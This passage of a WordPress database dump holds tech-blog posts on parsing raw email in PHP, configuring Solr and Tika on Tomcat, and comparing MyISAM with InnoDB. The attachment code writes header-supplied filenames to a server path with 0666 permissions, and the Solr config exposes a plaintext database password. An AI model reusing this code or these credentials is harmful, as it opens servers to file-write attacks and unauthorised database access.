get sender email id using :\r\n\r\n$sender_email = $msg-&gt;headers[\'sender\'];\r\n\r\n<b>// Reading Body of mail</b>\r\n\r\n<b> </b>We can read the body of raw mail using following code, it handles all type of headers (gmail, yahoo, hotmail, live, in, aim, aol and Comcast domains )\r\n\r\nif (!empty($msg-&gt;parts)) {\r\n\r\nforeach($msg-&gt;parts as $part) {\r\n\r\nif (@$part-&gt;disposition == \'attachment\') {\r\n\r\n$hasattachments = true;\r\n\r\n} else {\r\n\r\n$body = $part-&gt;body;\r\n\r\n}\r\n\r\n}\r\n\r\n} else {\r\n\r\n$body = $msg-&gt;body;\r\n\r\n}\r\n\r\n<b>// For reading the attachments</b>\r\n\r\n<b> </b>Following code is used to read the attachment and create the attachment file in the server.\r\n\r\nforeach($msg-&gt;parts as $part) {\r\n\r\nif (@$part-&gt;disposition != \'attachment\')\r\n\r\ncontinue;\r\n\r\nif (strpos(@$part-&gt;headers[\'content-disposition\'],\'filename=\')) {\r\n\r\n$filename = substr(stristr($part-&gt;headers[\'content-disposition\'],\'filename=\'),9);\r\n\r\n}\r\n\r\nelse if (strpos(@$part-&gt;headers[\'content-type\'],\'name=\')) {\r\n\r\n$filename = substr(stristr($part-&gt;headers[\'content-type\'],\'name=\'),5);\r\n\r\n}\r\n\r\nelse if (!empty($part-&gt;headers[\'filename\']))\r\n\r\n$filename = @$part-&gt;headers[\'filename\'];\r\n\r\nelse if (!empty($part-&gt;headers[\'name\']))\r\n\r\n$filename = @$part-&gt;headers[\'name\'];\r\n\r\nelse\r\n\r\n$filename = \"Attachment\" . $i++ . \".bin\";\r\n\r\n$filename = trim($filename, \'\\\'\"\');\r\n\r\n$ size = strlen($part-&gt;body);\r\n\r\nfile_put_contents(<b>SERVER PATH</b> . $filename, $part-&gt;body);\r\n\r\nChmod (<b>SERVER PATH</b>. $filename, 0666);\r\n\r\n}','Reading Rawmails using PHP','','inherit','open','open','','178-revision-v1','','','2014-07-21 11:27:32','2014-07-21 11:27:32','',178,'http://localhost/yalavarthitechnologies/blog/?p=180',0,'revision','',0),(181,1,'2014-07-21 11:31:05','2014-07-21 11:31:05','<strong>Summary:</strong>\r\n<p align=\"center\"><b><span style=\"text-decoration: underline;\">Solr Configuration Document</span></b></p>\r\n<b>Note:  </b>To configure solr on tomcat we have stable version apache-solr-1.4.1.war, but it has some missing files like TikaEntityProcessor.class, which is necessary to configure tika on tomcat. so here, to work with Solr and tika on tomcat server we have used solr developing version apache-solr-3.2.\r\n\r\n*So apache-solr-3.0.war is the working version wich was used in FFC Project.\r\n\r\nHow to Configure Solr on Tomcat Server,\r\n\r\n<b>Step1:</b>\r\n\r\n<b>A)</b>  Follow below  link to download <b>Apache-Solr 1.4.1</b>(stable version)\r\n\r\n<a href=\"http://www.apache.org/dyn/closer.cgi/lucene/solr/\">http://www.apache.org/dyn/closer.cgi/lucene/solr/</a>\r\n\r\nOR\r\n\r\n<b>B)</b>  Follow below  link to download <b>Apache-Solr 3.2 </b>(Developing version)\r\n\r\n<a href=\"https://hudson.apache.org/hudson/job/Solr-3.x\">https://hudson.apache.org/hudson/job/Solr-3.x</a>\r\n\r\n<a href=\"http://www.apache.org/dyn/closer.cgi/lucene/solr/\">\r\n</a><b>Install Tomcat.</b>\r\n<ul>\r\n	<li> On Ubuntu:</li>\r\n</ul>\r\nsudo apt-get install tomcat6\r\n<ul>\r\n	<li> On CentOS:</li>\r\n</ul>\r\nsudo yum install -y tomcat5\r\n\r\n<b>Step 2: </b><b> </b><b>C</b>reate /var/solr :\r\n\r\nmkdir –p /var/sol\r\n\r\n<b>Step 3:</b> Copy the Example Configuration\r\n\r\n<b> For apache-solr-1.4.1</b>:\r\n\r\ncp –R apache-solr-1.4.1/example/solr/* /var/solr\r\n\r\n<b>For apache-solr-3.2:</b>\r\n\r\ncp –R apache-solr-3.2-*/example/solr/* /var/solr\r\n\r\n<b>Note:</b><b> </b>apache-solr-3.2 is not a stable version. Please check the file names, these files  are  named as apache-solr-3.2-date_time format (ex: apache-solr-3.2-2011-03-13_05-27-19).So please remove date and time and use the files<b> </b>for your better convenience.\r\n\r\n<b>\r\nStep 4:</b>  <b>Copy the .war:</b>\r\n\r\n<b>For apache-solr-1.4.1</b>\r\n\r\ncp apache-solr-1.4.0/dist/apache-solr-1.4.1.war /var/solr/solr.war\r\n\r\n<b>               For apache-solr-3.2</b>\r\n\r\ncp apache-solr-3.2-*/dist/apache-solr-3.2-*.war /var/solr/solr.war\r\n\r\n<b>Step 5: Set Permissions</b>\r\n\r\nOn Ubuntu:\r\n\r\nchown –R tomcat6 /var/solr/\r\n\r\nOn CentOS:\r\n\r\nchown –R tomcat /var/solr/\r\n\r\n<b>Step 6:</b> <b>Copy below in the context configuration.</b>\r\n\r\n<b>               On Ubuntu:</b>\r\n\r\n<b>    /etc/tomcat6/Catalina/localhost/solr.xml</b>\r\n\r\n&lt;Context docBase=”/var/solr/solr.war” debug=”0” privileged=”true” allowLinking=”true” crossContext=”true”&gt;\r\n\r\n&lt;Environment name=”solr/home” type=”java.lang.String” value=”/var/solr” override=”true” /&gt;\r\n\r\n&lt;/Context&gt;\r\n\r\n<b>               On CentOS:</b>\r\n\r\n<b>/etc/tomcat5/Catalina/localhost/solr.xml</b>\r\n\r\n&lt;Context docBase=”/var/solr/solr.war” debug=”0” privileged=”true” allowLinking=”true” crossContext=”true”&gt;\r\n\r\n&lt;Environment name=”solr/home” type=”java.lang.String” value=”/var/solr” override=”true” /&gt;\r\n\r\n&lt;/Context&gt;\r\n\r\n<b>Step 7:</b> <b>On CentOS, remove some compatibility classes:</b>\r\n\r\ncd /usr/share/tomcat5/common/endorsed/\r\n\r\nrm *\r\n\r\n<b>Step 8: Changing the Port No for Tomcat Server, go to....</b>\r\n\r\nOn Ubuntu, this is in /etc/tomcat6/conf/server.xml.\r\n\r\nOn CentOS, this is in /etc/tomcat5/conf/server.xml.\r\n\r\nAnd search for below comment line or tag and change the port number to 8983 or any thing you want.\r\n\r\n&lt;! – Define a non-SSL HTTP/1.1 Connector on port 8080 .....\r\n\r\n&lt;Connector port=”8080”…../&gt;\r\n\r\n<b>Step 9:</b><b> </b>On CentOS, set the data directory:\r\n\r\n<b>/var/solr/conf/solrconfig.xml</b>\r\n\r\n[…]&lt;dataDir&gt;/var/solr/data&lt;/dataDir&gt;[…]\r\n\r\n<b>Step 10:</b><b> </b>restart tomcat Server\r\n\r\n<b>Step 11:</b> open any browser and type <a href=\"http://localhost:8080/solr\">http://localhost:8080/solr</a>\r\n\r\n<b>Note:</b> Basic configuration completes after Step10.\r\n\r\n<b>Note:</b> follow this URL if you need more clarity: <a href=\"https://wiki.fourkitchens.com/display/TECH/Solr+1.4+on+Ubuntu+9.10+and+CentOS+5\">https://wiki.fourkitchens.com/display/TECH/Solr+1.4+on+Ubuntu+9.10+and+CentOS+5</a>\r\n\r\n&nbsp;\r\n<p align=\"center\"><b>For Configuring Database structure to Solr</b></p>\r\nGo to schema.xml file and Configure the database structure according to your data base, here we followed some sample code based on FFC data base configurations.\r\n\r\n&lt;field name=”id” type=”string” indexed=”true” stored=”true” required=”true”/&gt;\r\n\r\n&lt;field name=”itemid” type=”int” indexed=”true” stored=”true” required=”true”/&gt;\r\n\r\n&lt;field name=”itemtype” type=”string” indexed=”true” stored=”true” required=”true”/&gt;\r\n\r\n&lt;field name=”fullName” type=”string” indexed=”true” stored=”true” required=”true”/&gt;\r\n\r\n&lt;field name=”otherName” type=”string” indexed=”true” stored=”true”/&gt;\r\n\r\n&lt;field name=”interests” type=”text” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”training” type=”text” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”organization” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”specialities” type=”text” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”address1” type=”text” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”city” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”state” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”country” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”zipcode” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”entitytype” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”industrytype” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”policy” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”missionstatement” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”description” type=”text” indexed=”true” stored=”false” multiValued=”true”/&gt;\r\n\r\n&lt;field name=”categoryId” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”chapternames” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”text” type=”text” indexed=”true” stored=”false” multiValued=”true”/&gt;\r\n\r\n&lt;field name=”createdDate” type=”date” indexed=”true” required=”true” stored=”true”/&gt;\r\n\r\n&lt;field name=”products” type=”string” indexed=”true” stored=”false” multiValued=”true”/&gt;\r\n\r\n&lt;field name=”photos” type=”string” indexed=”true” stored=”false” multiValued=”true”/&gt;\r\n\r\n&lt;/fields&gt;\r\n\r\n&lt;uniqueKey&gt;id&lt;/uniqueKey&gt;\r\n\r\n&lt;defaultSearchField&gt;text&lt;/defaultSearchField&gt;\r\n&lt;solrQueryParser defaultOperator=”OR”/&gt;\r\n\r\n&lt;copyField source=”fullName” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”otherName” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”description” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”products” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”photos” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”interests” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”training” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”specialities” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”policy” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”missionstatement” dest=”text”/&gt;\r\n\r\n&nbsp;\r\n\r\n<b>Step 12:</b><b> </b> create file with 777 permissions\r\n\r\ndataimport.properties in the location /solr/conf/\r\n\r\n&nbsp;\r\n<p align=\"center\"><b><span style=\"text-decoration: underline;\">Configuring Tika on Solr</span></b></p>\r\n<b> To Configure Tika on Solr follow below steps,</b>\r\n\r\n<b> Step 1:</b><b> </b>Create a lib directory in /var/solr/\r\n\r\n<b>Step 2:</b><b> </b>Copy all the jar files from the paths /<b>apache-solr-3.2/contrib/extraction/lib</b> and also from <b>/apache-solr-3.2/dist</b><b> </b>here <b>apache-solr-dataimporthandler-extras-3.2.jar, apache-solr-dataimporthandler-3.2.jar these two jar files are important for configuring Tika on Solr.</b>\r\n\r\n<b>Note:</b> Don’t forgot to place<b> </b><b>mysql-connector-java-5.0.8-bin</b><b> </b>file in the lib file this is a mysqlJdbc driver supporting jar file\r\n\r\n<b>apache-solr-dataimporthandler-extras-3.2.jar</b><b> </b>file contains<b> </b><b>TikaEntityProcessor.class</b><b> </b>file<b>.</b>\r\n\r\n<b> </b>Create data-config.xml file in /var/solr and configure tika configuration details in this file.\r\n&lt;dataConfig&gt;\r\n\r\n&lt;dataSource name=\"ds-db\" driver=\"com.mysql.jdbc.Driver\"       url=\"jdbc:mysql://192.168.1.19/ffc_local\" batchSize=\"-1\" user=\"ffcdemo\" password=\"aGaqxC4jSSBrLjKn\" readOnly=\"true” encoding=\"UTF-8\"/&gt;\r\n\r\n&lt;dataSource type=\"BinFileDataSource\" name=\"bin\" /&gt;\r\n\r\n&lt;document name=\"products\"&gt;\r\n\r\n&lt;entity dataSource=\"ds-db\" name=\"item\" query=\"select   group_id,group_title,description,DATE_FORMAT(created_date, \'%Y-%m-%dT%H:%i:%sZ\') as createdDate,group_status, \'GROUP\' as itemtype,CONCAT(\'GROUP\',CAST(group_id AS CHAR CHARACTER SET utf8 )) as id from collaboration_groups where group_status=1\" deltaImportQuery=\"select group_id,group_title,description,DATE_FORMAT(created_date, \'%Y-%m-%dT%H:%i:%sZ\') as createdDate,group_status,CONCAT(\'GROUP\',CAST(group_id AS CHAR CHARACTER SET utf8 )) as id,\'GROUP\' as itemtype  from collaboration_groups where group_status=1 and group_id=\'${dataimporter.delta.group_id}\'\" deltaQuery=\"select group_id from collaboration_groups where group_status=1 and  updated_date &amp;gt; \'${dataimporter.last_index_time}\'\" deletedPkQuery=\"select CONCAT(\'GROUP\',CAST(group_id AS CHAR CHARACTER SET utf8 )) as id  from  collaboration_groups  where group_status = 0 and updated_date &amp;gt; \'${dataimporter.last_index_time}\'\" &gt;\r\n&lt;field column=\"id\" name=\"id\" /&gt;\r\n\r\n&lt;field column=\"group_id\" name=\"itemid\" /&gt;\r\n\r\n&lt;field column=\"itemtype\" name=\"itemtype\" /&gt;\r\n\r\n&lt;field column=\"group_title\" name=\"fullName\" /&gt;\r\n\r\n&lt;field column=\"description\" name=\"description\"/&gt;\r\n\r\n&lt;field column=\"createdDate\" name=\"createdDate\"/&gt;\r\n\r\n&lt;entity name=\"tika-test\" processor=\"TikaEntityProcessor\" url=\"\" format=\"text\"  dataSource=\"bin\"&gt;\r\n\r\n&lt;field column=\"text\" /&gt;\r\n\r\n&lt;/entity&gt;\r\n\r\n&lt;/entity&gt;\r\n\r\n&lt;/document&gt;\r\n&lt;/dataConfig&gt;','How to configure Solr and Tika on Tomcat Server','','publish','open','open','','how-to-configure-solr-and-tika-on-tomcat-server','','','2014-07-21 11:31:05','2014-07-21 11:31:05','',0,'http://localhost/yalavarthitechnologies/blog/?p=181',0,'post','',0),(182,1,'2014-07-21 11:31:05','2014-07-21 11:31:05','<strong>Summary:</strong>\r\n<p align=\"center\"><b><span style=\"text-decoration: underline;\">Solr Configuration Document</span></b></p>\r\n<b>Note:  </b>To configure solr on tomcat we have stable version apache-solr-1.4.1.war, but it has some missing files like TikaEntityProcessor.class, which is necessary to configure tika on tomcat. so here, to work with Solr and tika on tomcat server we have used solr developing version apache-solr-3.2.\r\n\r\n*So apache-solr-3.0.war is the working version wich was used in FFC Project.\r\n\r\nHow to Configure Solr on Tomcat Server,\r\n\r\n<b>Step1:</b>\r\n\r\n<b>A)</b>  Follow below  link to download <b>Apache-Solr 1.4.1</b>(stable version)\r\n\r\n<a href=\"http://www.apache.org/dyn/closer.cgi/lucene/solr/\">http://www.apache.org/dyn/closer.cgi/lucene/solr/</a>\r\n\r\nOR\r\n\r\n<b>B)</b>  Follow below  link to download <b>Apache-Solr 3.2 </b>(Developing version)\r\n\r\n<a href=\"https://hudson.apache.org/hudson/job/Solr-3.x\">https://hudson.apache.org/hudson/job/Solr-3.x</a>\r\n\r\n<a href=\"http://www.apache.org/dyn/closer.cgi/lucene/solr/\">\r\n</a><b>Install Tomcat.</b>\r\n<ul>\r\n	<li> On Ubuntu:</li>\r\n</ul>\r\nsudo apt-get install tomcat6\r\n<ul>\r\n	<li> On CentOS:</li>\r\n</ul>\r\nsudo yum install -y tomcat5\r\n\r\n<b>Step 2: </b><b> </b><b>C</b>reate /var/solr :\r\n\r\nmkdir –p /var/sol\r\n\r\n<b>Step 3:</b> Copy the Example Configuration\r\n\r\n<b> For apache-solr-1.4.1</b>:\r\n\r\ncp –R apache-solr-1.4.1/example/solr/* /var/solr\r\n\r\n<b>For apache-solr-3.2:</b>\r\n\r\ncp –R apache-solr-3.2-*/example/solr/* /var/solr\r\n\r\n<b>Note:</b><b> </b>apache-solr-3.2 is not a stable version. Please check the file names, these files  are  named as apache-solr-3.2-date_time format (ex: apache-solr-3.2-2011-03-13_05-27-19).So please remove date and time and use the files<b> </b>for your better convenience.\r\n\r\n<b>\r\nStep 4:</b>  <b>Copy the .war:</b>\r\n\r\n<b>For apache-solr-1.4.1</b>\r\n\r\ncp apache-solr-1.4.0/dist/apache-solr-1.4.1.war /var/solr/solr.war\r\n\r\n<b>               For apache-solr-3.2</b>\r\n\r\ncp apache-solr-3.2-*/dist/apache-solr-3.2-*.war /var/solr/solr.war\r\n\r\n<b>Step 5: Set Permissions</b>\r\n\r\nOn Ubuntu:\r\n\r\nchown –R tomcat6 /var/solr/\r\n\r\nOn CentOS:\r\n\r\nchown –R tomcat /var/solr/\r\n\r\n<b>Step 6:</b> <b>Copy below in the context configuration.</b>\r\n\r\n<b>               On Ubuntu:</b>\r\n\r\n<b>    /etc/tomcat6/Catalina/localhost/solr.xml</b>\r\n\r\n&lt;Context docBase=”/var/solr/solr.war” debug=”0” privileged=”true” allowLinking=”true” crossContext=”true”&gt;\r\n\r\n&lt;Environment name=”solr/home” type=”java.lang.String” value=”/var/solr” override=”true” /&gt;\r\n\r\n&lt;/Context&gt;\r\n\r\n<b>               On CentOS:</b>\r\n\r\n<b>/etc/tomcat5/Catalina/localhost/solr.xml</b>\r\n\r\n&lt;Context docBase=”/var/solr/solr.war” debug=”0” privileged=”true” allowLinking=”true” crossContext=”true”&gt;\r\n\r\n&lt;Environment name=”solr/home” type=”java.lang.String” value=”/var/solr” override=”true” /&gt;\r\n\r\n&lt;/Context&gt;\r\n\r\n<b>Step 7:</b> <b>On CentOS, remove some compatibility classes:</b>\r\n\r\ncd /usr/share/tomcat5/common/endorsed/\r\n\r\nrm *\r\n\r\n<b>Step 8: Changing the Port No for Tomcat Server, go to....</b>\r\n\r\nOn Ubuntu, this is in /etc/tomcat6/conf/server.xml.\r\n\r\nOn CentOS, this is in /etc/tomcat5/conf/server.xml.\r\n\r\nAnd search for below comment line or tag and change the port number to 8983 or any thing you want.\r\n\r\n&lt;! – Define a non-SSL HTTP/1.1 Connector on port 8080 .....\r\n\r\n&lt;Connector port=”8080”…../&gt;\r\n\r\n<b>Step 9:</b><b> </b>On CentOS, set the data directory:\r\n\r\n<b>/var/solr/conf/solrconfig.xml</b>\r\n\r\n[…]&lt;dataDir&gt;/var/solr/data&lt;/dataDir&gt;[…]\r\n\r\n<b>Step 10:</b><b> </b>restart tomcat Server\r\n\r\n<b>Step 11:</b> open any browser and type <a href=\"http://localhost:8080/solr\">http://localhost:8080/solr</a>\r\n\r\n<b>Note:</b> Basic configuration completes after Step10.\r\n\r\n<b>Note:</b> follow this URL if you need more clarity: <a href=\"https://wiki.fourkitchens.com/display/TECH/Solr+1.4+on+Ubuntu+9.10+and+CentOS+5\">https://wiki.fourkitchens.com/display/TECH/Solr+1.4+on+Ubuntu+9.10+and+CentOS+5</a>\r\n\r\n&nbsp;\r\n<p align=\"center\"><b>For Configuring Database structure to Solr</b></p>\r\nGo to schema.xml file and Configure the database structure according to your data base, here we followed some sample code based on FFC data base configurations.\r\n\r\n&lt;field name=”id” type=”string” indexed=”true” stored=”true” required=”true”/&gt;\r\n\r\n&lt;field name=”itemid” type=”int” indexed=”true” stored=”true” required=”true”/&gt;\r\n\r\n&lt;field name=”itemtype” type=”string” indexed=”true” stored=”true” required=”true”/&gt;\r\n\r\n&lt;field name=”fullName” type=”string” indexed=”true” stored=”true” required=”true”/&gt;\r\n\r\n&lt;field name=”otherName” type=”string” indexed=”true” stored=”true”/&gt;\r\n\r\n&lt;field name=”interests” type=”text” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”training” type=”text” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”organization” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”specialities” type=”text” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”address1” type=”text” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”city” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”state” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”country” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”zipcode” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”entitytype” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”industrytype” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”policy” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”missionstatement” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”description” type=”text” indexed=”true” stored=”false” multiValued=”true”/&gt;\r\n\r\n&lt;field name=”categoryId” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”chapternames” type=”string” indexed=”true” stored=”false”/&gt;\r\n\r\n&lt;field name=”text” type=”text” indexed=”true” stored=”false” multiValued=”true”/&gt;\r\n\r\n&lt;field name=”createdDate” type=”date” indexed=”true” required=”true” stored=”true”/&gt;\r\n\r\n&lt;field name=”products” type=”string” indexed=”true” stored=”false” multiValued=”true”/&gt;\r\n\r\n&lt;field name=”photos” type=”string” indexed=”true” stored=”false” multiValued=”true”/&gt;\r\n\r\n&lt;/fields&gt;\r\n\r\n&lt;uniqueKey&gt;id&lt;/uniqueKey&gt;\r\n\r\n&lt;defaultSearchField&gt;text&lt;/defaultSearchField&gt;\r\n&lt;solrQueryParser defaultOperator=”OR”/&gt;\r\n\r\n&lt;copyField source=”fullName” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”otherName” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”description” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”products” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”photos” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”interests” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”training” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”specialities” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”policy” dest=”text”/&gt;\r\n\r\n&lt;copyField source=”missionstatement” dest=”text”/&gt;\r\n\r\n&nbsp;\r\n\r\n<b>Step 12:</b><b> </b> create file with 777 permissions\r\n\r\ndataimport.properties in the location /solr/conf/\r\n\r\n&nbsp;\r\n<p align=\"center\"><b><span style=\"text-decoration: underline;\">Configuring Tika on Solr</span></b></p>\r\n<b> To Configure Tika on Solr follow below steps,</b>\r\n\r\n<b> Step 1:</b><b> </b>Create a lib directory in /var/solr/\r\n\r\n<b>Step 2:</b><b> </b>Copy all the jar files from the paths /<b>apache-solr-3.2/contrib/extraction/lib</b> and also from <b>/apache-solr-3.2/dist</b><b> </b>here <b>apache-solr-dataimporthandler-extras-3.2.jar, apache-solr-dataimporthandler-3.2.jar these two jar files are important for configuring Tika on Solr.</b>\r\n\r\n<b>Note:</b> Don’t forgot to place<b> </b><b>mysql-connector-java-5.0.8-bin</b><b> </b>file in the lib file this is a mysqlJdbc driver supporting jar file\r\n\r\n<b>apache-solr-dataimporthandler-extras-3.2.jar</b><b> </b>file contains<b> </b><b>TikaEntityProcessor.class</b><b> </b>file<b>.</b>\r\n\r\n<b> </b>Create data-config.xml file in /var/solr and configure tika configuration details in this file.\r\n&lt;dataConfig&gt;\r\n\r\n&lt;dataSource name=\"ds-db\" driver=\"com.mysql.jdbc.Driver\"       url=\"jdbc:mysql://192.168.1.19/ffc_local\" batchSize=\"-1\" user=\"ffcdemo\" password=\"aGaqxC4jSSBrLjKn\" readOnly=\"true” encoding=\"UTF-8\"/&gt;\r\n\r\n&lt;dataSource type=\"BinFileDataSource\" name=\"bin\" /&gt;\r\n\r\n&lt;document name=\"products\"&gt;\r\n\r\n&lt;entity dataSource=\"ds-db\" name=\"item\" query=\"select   group_id,group_title,description,DATE_FORMAT(created_date, \'%Y-%m-%dT%H:%i:%sZ\') as createdDate,group_status, \'GROUP\' as itemtype,CONCAT(\'GROUP\',CAST(group_id AS CHAR CHARACTER SET utf8 )) as id from collaboration_groups where group_status=1\" deltaImportQuery=\"select group_id,group_title,description,DATE_FORMAT(created_date, \'%Y-%m-%dT%H:%i:%sZ\') as createdDate,group_status,CONCAT(\'GROUP\',CAST(group_id AS CHAR CHARACTER SET utf8 )) as id,\'GROUP\' as itemtype  from collaboration_groups where group_status=1 and group_id=\'${dataimporter.delta.group_id}\'\" deltaQuery=\"select group_id from collaboration_groups where group_status=1 and  updated_date &amp;gt; \'${dataimporter.last_index_time}\'\" deletedPkQuery=\"select CONCAT(\'GROUP\',CAST(group_id AS CHAR CHARACTER SET utf8 )) as id  from  collaboration_groups  where group_status = 0 and updated_date &amp;gt; \'${dataimporter.last_index_time}\'\" &gt;\r\n&lt;field column=\"id\" name=\"id\" /&gt;\r\n\r\n&lt;field column=\"group_id\" name=\"itemid\" /&gt;\r\n\r\n&lt;field column=\"itemtype\" name=\"itemtype\" /&gt;\r\n\r\n&lt;field column=\"group_title\" name=\"fullName\" /&gt;\r\n\r\n&lt;field column=\"description\" name=\"description\"/&gt;\r\n\r\n&lt;field column=\"createdDate\" name=\"createdDate\"/&gt;\r\n\r\n&lt;entity name=\"tika-test\" processor=\"TikaEntityProcessor\" url=\"\" format=\"text\"  dataSource=\"bin\"&gt;\r\n\r\n&lt;field column=\"text\" /&gt;\r\n\r\n&lt;/entity&gt;\r\n\r\n&lt;/entity&gt;\r\n\r\n&lt;/document&gt;\r\n&lt;/dataConfig&gt;','How to configure Solr and Tika on Tomcat Server','','inherit','open','open','','181-revision-v1','','','2014-07-21 11:31:05','2014-07-21 11:31:05','',181,'http://localhost/yalavarthitechnologies/blog/?p=182',0,'revision','',0),(183,1,'2014-07-21 11:34:35','2014-07-21 11:34:35','<strong>Summary:</strong>\r\n\r\nDescription: <b></b>\r\n<table width=\"790\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td width=\"64\">S.No</td>\r\n<td width=\"192\">Particular</td>\r\n<td width=\"288\">MyISAM</td>\r\n<td width=\"247\">InnoDB</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Limitation</td>\r\n<td>No foreign keys and cascading deletes/updates</td>\r\n<td>No full text search</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td>No transactional integrity (ACID compliance)</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">No rollback abilities</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>2</td>\r\n<td>Decision for selecting DB Engine</td>\r\n<td width=\"288\">Good to use when there is more Read Queries</td>\r\n<td>Use when there is more Write Queries</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>3</td>\r\n<td>Available hardware</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td width=\"247\">Requires additional hardware in order to function as efficiently as MyISAM</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>4</td>\r\n<td>Locking Schema</td>\r\n<td width=\"288\">MyISAM uses table-level locking. That means that if you run a query against the table, the whole table will be locked.</td>\r\n<td width=\"247\">InnoDB uses row-level rather than table-level locking. If a row is being inserted, updated or deleted, only changes to the same row are held up until that request has completed.\r\n\r\nTables that receive more updates than selects may be faster with InnoDB.</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>5</td>\r\n<td>Changing database engine</td>\r\n<td width=\"288\">alter table tablename Engine=innodb;</td>\r\n<td>alter table tablename Engine=myisam;</td>\r\n</tr>\r\n</tbody>\r\n</table>','Comparison between MyIsam and Innodb','','publish','open','open','','comparison-between-myisam-and-innodb','','','2014-07-21 11:34:35','2014-07-21 11:34:35','',0,'http://localhost/yalavarthitechnologies/blog/?p=183',0,'post','',0),(184,1,'2014-07-21 11:34:35','2014-07-21 11:34:35','<strong>Summary:</strong>\r\n\r\nDescription: <b></b>\r\n<table width=\"790\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td width=\"64\">S.No</td>\r\n<td width=\"192\">Particular</td>\r\n<td width=\"288\">MyISAM</td>\r\n<td width=\"247\">InnoDB</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>1</td>\r\n<td>Limitation</td>\r\n<td>No foreign keys and cascading deletes/updates</td>\r\n<td>No full text search</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td>No transactional integrity (ACID compliance)</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">No rollback abilities</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>2</td>\r\n<td>Decision for selecting DB Engine</td>\r\n<td width=\"288\">Good to use when there is more Read 